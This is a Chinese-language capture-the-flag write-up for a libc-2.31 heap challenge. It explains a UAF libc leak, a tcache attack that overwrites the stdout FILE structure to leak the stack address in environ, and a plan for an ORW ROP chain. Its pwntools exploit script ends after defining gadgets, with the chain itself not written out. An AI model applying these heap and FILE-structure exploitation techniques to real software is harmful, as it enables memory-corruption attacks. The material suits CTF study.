开启了沙盒保护,所以需要利用ORW读取flag。
程序分析
只有一次UAF和一次show。最大申请0x90大小的chunk。libc-2.31.so版本。
思路
先利用UAF 和show,释放Unsortedbin来泄露libc地址。此时没有show功能了,但是想要ORW的,需要配合栈,分配到栈区构造ROP即可读取flag。所以需要通过environ泄露栈地址。既然需要泄露,所以此时就需要利用攻击IO_FILE_stdout结构。
IO_FILE_stdout利用链
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| int _IO_new_file_overflow (_IO_FILE *f, int ch) { if (f->_flags & _IO_NO_WRITES) { f->_flags |= _IO_ERR_SEEN; __set_errno (EBADF); return EOF; } if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL) { ... } if (ch == EOF) return _IO_do_write (f, f->_IO_write_base, f->_IO_write_ptr - f->_IO_write_base); return (unsigned char) ch; } libc_hidden_ver (_IO_new_file_overflow, _IO_file_overflow)
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| static _IO_size_t new_do_write (_IO_FILE *fp, const char *data, _IO_size_t to_do) { ... _IO_size_t count; if (fp->_flags & _IO_IS_APPENDING) fp->_offset = _IO_pos_BAD; else if (fp->_IO_read_end != fp->_IO_write_base) { _IO_off64_t new_pos = _IO_SYSSEEK (fp, fp->_IO_write_base - fp->_IO_read_end, 1); if (new_pos == _IO_pos_BAD) return 0; fp->_offset = new_pos; } count = _IO_SYSWRITE (fp, data, to_do); ... return count; }
|
综上,为了做到任意读,满足如下条件,即可进行利用:
(1) 设置_flag &~ _IO_NO_WRITES
,即_flag &~ 0x8
;
(2) 设置_flag & _IO_CURRENTLY_PUTTING
,即_flag | 0x800
;
(3) 设置_fileno
为1
;
(4) 设置_IO_write_base
指向想要泄露的地方,_IO_write_ptr
指向泄露结束的地址;
(5) 设置_IO_read_end
等于_IO_write_base
或 设置_flag & _IO_IS_APPENDING
即,_flag | 0x1000
。
此外,有一个大前提:需要调用_IO_OVERFLOW()
才行,因此需使得需要输出的内容中含有\n
换行符 或 设置_IO_write_end
等于_IO_write_ptr
(输出缓冲区无剩余空间)等。
一般来说,经常利用puts
函数加上述stdout
任意读的方式泄露libc
。
如果泄露某个地址,那么就需要修改几部分:
1 2 3 4 5 6 7
| _flags=0xfbad1800 _IO_read_ptr=0 _IO_read_base=0 _IO_read_base=0 _IO_write_base=target_addr _IO_write_ptr=target_addr+8 _IO_write_ptr=target_addr+8
|
如果想泄露stdout附近的地址,那就只覆盖_IO_write_base的最低一字节为’\x00’即可,也可以leak_libc。
题目利用过程
利用一次UAF和show泄露libc后,需要利用stdout泄露libc,利用切割unsortedbin,达到overlapping的目的,就可以利用tcachebin_attack申请到stdout处的chunk,然后修改即可后泄露environ。再利用tcachebin_attack申请到栈ORW即可。
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106
| from pwn import * from ctypes import * from libcfind import * from LibcSearcher import* import base64 import sys context(os='linux', arch='amd64', log_level='debug') context.terminal = ["tmux","splitw","-h"] debug = 1 if debug: p = process('./pwn') elf = ELF('./pwn') else: p = remote('node4.anna.nssctf.cn', 28660) elf = ELF('./pwn')
s = lambda data: p.send(data) sa = lambda text, data: p.sendafter(text, data) sl = lambda data: p.sendline(data) sla = lambda text, data: p.sendlineafter(text, data) r = lambda num=4096: p.recv(num) rl = lambda text: p.recvuntil(text) pr = lambda num=4096: sys.stdout.write(p.recv(num)) inter = lambda: p.interactive() l32 = lambda: u32(p.recvuntil('\xf7')[-4:].ljust(4,'\x00')) l64 = lambda: u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) uu32 = lambda: u32(p.recv(4).ljust(4, '\x00')) uu64 = lambda: u64(p.recv(6).ljust(8, '\x00')) int16 = lambda data: int(data, 16) lg = lambda s, num: p.success('%s -> 0x%x' % (s, num))
libc = ELF('./libc-2.31.so') def add(size,content): rl("Choice: ") sl('1') rl("Please input size: ") sl(str(size)) rl("Please input content: ") s(content) def show(index): rl("Choice: ") sl('3') rl("Please input idx:") sl(str(index)) def delete(index): rl("Choice: ") sl('2') rl("Please input idx:") sl(str(index)) def uaf(index): rl("Choice: ") sl('666') rl("Please input idx:") sl(str(index))
gdb.attach(p) for i in range(9): add(0x80,'aaa') add(0x80,'aaa') for i in range(7): delete(i) uaf(8) show(8) rl("\x0a") libc_leak = uu64() lg("libc_leak",libc_leak) libc_base = libc_leak-0x60-0x1ecb80 lg("libc_base",libc_base) stdout = libc_base + libc.sym['_IO_2_1_stdout_'] lg("stdout",stdout) environ = libc_base + libc.sym['__environ'] lg("environ",environ)
delete(7) add(0x80,'aaa') delete(8) add(0x70,'a') add(0x70,p64(0)+p64(0x91)+p64(stdout)) add(0x80,'aaa') add(0x80,p64(0xfbad1800)+p64(0)*3+p64(environ)+p64(environ+8)*2)
stack_leak = l64() lg("stack_leak",stack_leak) ret_addr = stack_leak-0x128 lg("ret_addr",ret_addr) delete(3) delete(2)
add(0x70,p64(0)+p64(0x91)+p64(ret_addr))
add(0x80,'aa')
pop_rdi = libc_base + 0x23b6a pop_rsi = libc_base + 0x2601f pop_rdx = libc_base + 0x142c92
inter()
|